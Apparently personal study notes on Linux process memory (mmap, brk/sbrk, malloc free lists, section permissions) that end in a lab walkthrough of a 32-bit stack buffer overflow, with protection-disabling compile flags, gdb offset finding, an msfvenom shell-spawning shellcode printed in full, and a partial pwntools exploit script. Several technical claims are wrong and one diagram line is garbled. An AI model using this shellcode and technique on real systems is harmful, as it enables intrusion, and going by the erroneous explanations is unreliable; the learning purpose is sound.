    0					// the offset, 0 means the beginning of the buffer allocated .
);

anonymous buffer is a buffer normal notnacked or mapped to anything . passing MAT_ANON arg should pass fd = -1, backed by no file descriptor .
how all of this works, giving a code that open a file, edits it ?

int fd = open("file.txt", wr);	// creating metadata, fd and other structures .

size_t file_size = 1000;

// memory map region
void* file = mmap(NULL, file_size, PROT_WRITE, MAP_PRIVATE, fd, 0);	// load file content to kernel virtual ram, map it to userspace virtual ram . returns the starting adress .

void* edited_file = edit(file);

msync(fd, file_size, MS_SYNC);		// commit the changes, ensure changes are applied .

// heap
char* buffer = malloc(file_size);

ssize_t bytes = read(fd, buffer, file_size); // return value is how many bytes were read .

free(buffer);

munmap(fd, size); 			// remove the mapping . equivalent to free() in heap

close(fd);

we already know that int fd is an index of the file in file descriptor table, it's the only variable that is stored in userspace memory, while the fd, structure created such as struct entry are stored in kernel space memory . and depens on how is declared and allocate, uses of malloc for fd is possible .

int fd;							// .bss
int fd = open(...);				// .data
int fd = malloc(sizeof(int));	// .heap

mmap() function, allocate file_size in mapped memory region, set permission PROT_WRITE, set the stat MAP_PRIVATE, file's file descriptor index, 0 as offset .
what happend here is that file content was loaded from disk to kernel virtual ram update: the kernel does not immeditly load file content, we already mentionned it, 'lazy loading' the map is created yes, but when accessing is the page fault occure catched the load the content to physical ram map to virtual ram, then mapped to userspace virtual ram, not copied .
edit() the function is a set of instruction stored in .text, variable inside the function which .text instructures will be performed on it are stores inside .bss, .data maybe .heap, we'll assume that there is no dynamic allocation, when the edit() first instruction is the next to execute edit() variables is stored in .stack, register such as rip rdp rdx cs ... are first setted, treated based on the instruction, return a pointer to the next instruction after function call, which in or case msync() then saved usually in rdx then save in ram the variable specified in code and set register for next instruction .
msync() editing the file means the cache page in kernel ram are modified, market as dirty, dirty means modified in ram but not in disk file . msync() tells the kernel to write dirty pages into disk .
malloc() allocating a normal buffer in the heap . size of the file . read() the file is already openned, read copies the data file content stores in the kernel virtual adress to the allocated buffer in heap . the return is how many bytes the file contain from 0 to EOF . free() destroy the buffer make the space free . munmap() destroy the mapping .
close() to close the fd, but structure remain in kernel memory .
moving to userspace heap memory management . understanding brk() / sbrk(): the syscalls behind the heap .
first brk() stand for break, sbrk() stand for set break, break is the high adress in heap, the ending adress . like the wall that separate heap from the other sections . a visualization :

virtual memory before any brk() or sbrk()

High Adress |-------------------------------------------|
			|		**kernel space**					|
			|-------------------------------------------|
			|		stack (growing downward)			|
			|-------------------------------------------|
			|		memory mapped region (mmap)			|
			|-------------------------------------------|
			|		unused virtual space				|
			|------------program break------------------| <- heap ends at this adress
			|		heap (growing upward)				|
			|-------------------------------------------|
			|		bss (uninitialized data)			|
			|-------------------------------------------|
			|		data (initialized data)				|
			|-------------------------------------------|
			|		read-only memory					|
			|-------------------------------------------|
			|		text (code section)					|
low adress	|-------------------------------------------|

program break is the last adress in heap, in order for heap to grow this adress should be setted to a higher one, to shrink it should be setted to a lower one . and that what brk() does , and returns 0 succes or -1 failure, the argument is the new adress program break .

int direction = 1.
void *new_break = (direction == 1) ? (void *)0x2000000 : (void *)-0x2000000;
int break_ = brk(new_break);		// note: adress not value
if (break_ == 0)
	printf("program break is setted to : %d", (int)*new_break);

while sbrk() is a function build on top of brk(), and take offset as an argument, how much to increase or decrease the program break .

int direction = -1;
int offset = (direction == 1) ? 4096 : -4096 ;
int program_break = sbrk(offset);

wait. if sbrk is built on top how does sbrk() know the program break to increase or decrease from it ?
simply the kernel for each process virtual ram structure struct mm_struct, stores the it's program break along with other metadata . and sbrk take it as an index . sbrk(offset) calls brk(mm_struct->brk + offset); update: the brk we r talking about here is not the high brk program, but it's the internal glibc api implementation it's a syscall function . and the brk or sbrk shrink or expand the program break and use the allocated area only on virtual ram, physical ram is not yet involved, when trying access the page fault raises by the mmu then kernel allocate physical ram .

int *buffer = (int *)sbrk(4096); 		// expand on virtual memory only 
										// return new program break

buffer[5] = 'A'							// trying to acces physical ram
										// raise page fault
										// allocate physical ram and map it to virtual ram
                                        // then write .

the question here is why brk() cannot return the new program break adress ?
it could returns it but the api earlier designed to return failure/success flags, it can be changed but it will break all the implementations, programs that rely on the old brk() return . so sbrk() was added to prevent this .
the api we r talking about is glibc, that makes the syscalls, syscall is anything that trigger the kernel to do something . so the developper wont need to write assembly code that do the syscall .
now we'll discover how malloc() works .
the malloc() function in program level is far more simple that the glibc implementation because the glibc implementation handle multiple process allocation in the physical ram, while allocating with the higher level malloc() is allocating in the virtual ram space of that process , because when allocating it does not move the program break and add space or shrink decrease space, instead, it recycle the freed space the unused . by maintaining a free_space list that when free() a space it goes to that list. and when allocating it take from that list . and the list is a double chained list (list doublement chainée), when each entry or element each free block point to the next free block and the previous free block . and the entry is like this :

|---------------------------|
|	prev_size 8B			|
|---------------------------|
|	prev_size + flags 8B	|
|---------------------------|
|	if free :				|
|		prev_free_element	|
|		next_free_elemnt	|
|	if used :				|
|		the process			|
|			userspace data	|
|---------------------------|

so the metadata take much space . a malloc(1), can take up to 64bytes of metadata, that why free() is required . and there are three options in allocation .

	allocate first fit	->	low cpu usage & memory wasting
	allocate best fit	->	high cpu usage & best memory management
	allocate worst fit	->	high cpu usafe & memory wasting
			// and first fit may sometimes be worst fit .
	merging and splitting blocks ->	high cpu usage & high efficiency

each section has it's permissions or protection for example the heap is normally PROT_READ | PROT_WRITE, shouldn't execute code for security reason the famous example is buffer overflow exploit, however those security measures can be bypassed, we'll see an example of buffer overflow, but first specifing each section and it's permissions :

stack -> read + write : can't modify stack in runtime . 'PROT_READ | PROT_WRITE'
mmap() -> flexible, can do the three operation, and give ability for more options .
	'PROT_READ | PROT_WRITE | PROT_EXEC' .
heap -> read + write , normally should'nt execute . 'PROT_READ | PROT_WRITE'
.bss -> read + write , also no execute . 'PROT_READ | PROT_WRITE'
.data -> read + write , no execute . 'PROT_READ | PROT_WRITE'
.text -> read + execute .	'PROT_READ | PROT_EXEC'

stack & .bss & .data size are specified before execution, and their like destiny is known before execution can't be modified like heap, means modifie by the program in runtime, it's the process that handle the read & write, based on the .text instructions , .bss and .data variables .
so .text is the intruction, not C code but the assembly code . so the process get instruction from .text get data from .bss & .data, pass to cpu the instruction and point to where the result should be stored . so executable means that the data in that section can be passed as instrucion, not executing in the ram space . and mmap region can do all of what the section can do .
an example of a buffer overflow expoit . first what is a bufferoverflow ? and how to exploit it ? a buffer overflow is an exceding of the size the buffer allocate, buffer[50] held a 58 bytes, the 8 extra bytes makes it oveflow . and why would it be exceeding that allocated buffer ? simply a non safe function that read input and write or a function that copy from code to ram makes it, it doesn't verifie or compare the size of the input to the allocated space . for modern code those function are not used anymore for safey reasong, while the glibc still provide it, for old programs that depens on it . if it's removed the kernel it self maybe corrupted . that why new safe and secured functions are created . however, modern kernel have tools that prevents the overflow even if the function does not check, those tool are triggred in every memory copy . for this test i won't be using my env the host , instead i ll use a vm lab . we'll be using GDB which is a linux debugger tool, shows all the low-level stuff about a program . and turn off safety tool like canary and ASLR which stand for adress space layout randomize make it harder to know vars and funcs adresses . if ASLR is disabled, adresses are the same in each run while if enabled the adresses change in each run makes it non predictable . our code is : vulnerable.c

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) { // arguments passed to main , in compile time .
	char buffer[500]; 			// even it's uninitilized but it's a local var lives in .stack.
	strcpy(buffer, argv[1]); 	// unsafe function that will put data to ram .
	return 0;
}

disabling safety tools .

setarch "$(uname -m)" -R vulnerable.c // this disable ASLR only on this file .
		// canarie is disabled in compile time .

a simple code that does nothing except allocating a buffer and copy data to it and return . and strcpy() trigger a syscall so kernel is involved here . but first a visualization of the memory :

 			|-------------------------------------------|
			|		stack (growing downward)			|	<- buffer live here
			|-------------------------------------------|			it's a function scope var
			|		arg a								|			a local variable
			|-------------------------------------------|
			|		arg b								|
			|-------------------------------------------|
			|		return adress						|	<- not next instruction but
			|-------------------------------------------|		a pointer to nxt .text instrct
			|		bn also explain each of the Python erase pointer						|
			|-------------------------------------------|		
			|		buffer								|
			|------------program break------------------| 
			|		heap (growing upward)				|
			|-------------------------------------------|

so we should exceed the buffer size, override the base pointer with whatever data, it's irrelevent . then override return adress to point the function we want .

full stack overflow exploitation .#

a reminder that the stack i rw, the .text that contain instruction that is read only and execute rx . firs the vulnerable c function :

void vulnerable(char *input) {
    char buffer[64];

    printf("buffer is at : %p\n", buffer);
    strcpy(buffer, input);
}

here we allocate a 64 bytes stack buffer, print it's adress, then strcpy(), which is an unsafe function it don't care about the source buffer length, instead it keeps copying till hits an EOF the whole enviroment is 32bits x86, and the reason is that 64bits adresses contain null bytes, that makes the execution ignore it . while x86 adresses doesn't contain it .
make sure that the adressr andomize is disabled .

$ cat /proc/sys/kernel/randomize_va_space
0

compiling it with 32bits flag, disable stack protectors such as canarie, flaging to make the stack executable, disabling the ASLR that makes each run use different adresses, and specifying it in the compilation .

$ gcc -m32 \ 					// 32bits architecture
-fno-stack-protector \		// disable canaie
-z execstack \				// make stack executable
-no-pie \					// all runs use same adresses
-Wl \						// commit those options
-o vuln vulnerable.c		// output vuln binary executable from vul..c with the option above

then we use the GDB, gnu debugger, to get infos from the executable file, closer to reverse engineer it .

GNU gdb (Ubuntu 17.1-2ubuntu1) 17.1
...
(gdb) run $(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(200))")
buffer is at : 0xffffcd90

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
(gdb) info registers eip
eip            0x61616174          0x61616174
(gdb) quit

the trick to find the offset , we start a pwn session, each function is related to other, then we generate a 200bytes buffer with cyclic(), a function that generate a sequece of bytes, each 4 bytes are unique, then we have eip register, index pointer tat hold the memory adress for the next instruction, we override it with a unique bytes, then the cpu try to execute the overrided value like aTaa, we inspect the register, find that the register try to execute aTaa,

$ python3 -c "from pwn import *; print(cyclic_find(0x61616174))"
76

then we search where the aTaa is located, in the cyclic generated buffer, then we calculate from the start of the buffer till the aTaa this is our offetset 76. msfvenom which is part of metasploit project, used to generate payloads, support many platforms. but is not veery efficient, however for microexploits and learning purposes it give a simple and flexible uses .
payload command generation is :

$ msfvenom -p linux/x86/exec CMD=/bin/zsh -b '\x00\x0a\x0b' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 71 (iteration=0)
x86/shikata_ga_nai chosen with final size 71
Payload size: 71 bytes
Final size of python file: 361 bytes
buf =  b""
buf += b"\xb8\x92\x41\x8a\xd9\xdd\xc4\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x0c\x31\x45\x12\x03\x45\x12\x83\x57"
buf += b"\x45\x68\x2c\x3d\x4d\x34\x56\x93\x37\xac\x45\x70"
buf += b"\x31\xcb\xfe\x59\x32\x7c\xff\xcd\x9b\x1e\x96\x63"
buf += b"\x6d\x3d\x3a\x93\x64\xc2\xbb\x63\x58\xa0\xd2\x0d"
buf += b"\x89\x5e\x56\xb9\xd5\xc9\xcb\xb0\x37\x38\x6b"

here we imported the pwntools library, mainly used in developping exploitations, reverse engineering.
defining the architecture 32bits, and the os which linux .

from pwn import *

context.arch = 'i386'
context.os   = 'linux'

buf is the payload . we copy it the python exploiter, a script that makes it easier than a sequence of bash commands . along with the offset found using pwn cyclic .

shellcode =  b"..."
offset = 76

here we define a nop_sled a sequence of \x90 bytes, that tell the cpu to move to ignore and move the next byte. we keep moving from the start of the buffer till the shellcode . then concatenate the two .

nop_sled = b'\x90' * 4
buf = nop_sled + shellcode  

dummy_len = len(buf) + offset + 4
dummy = b'A' * dummy_len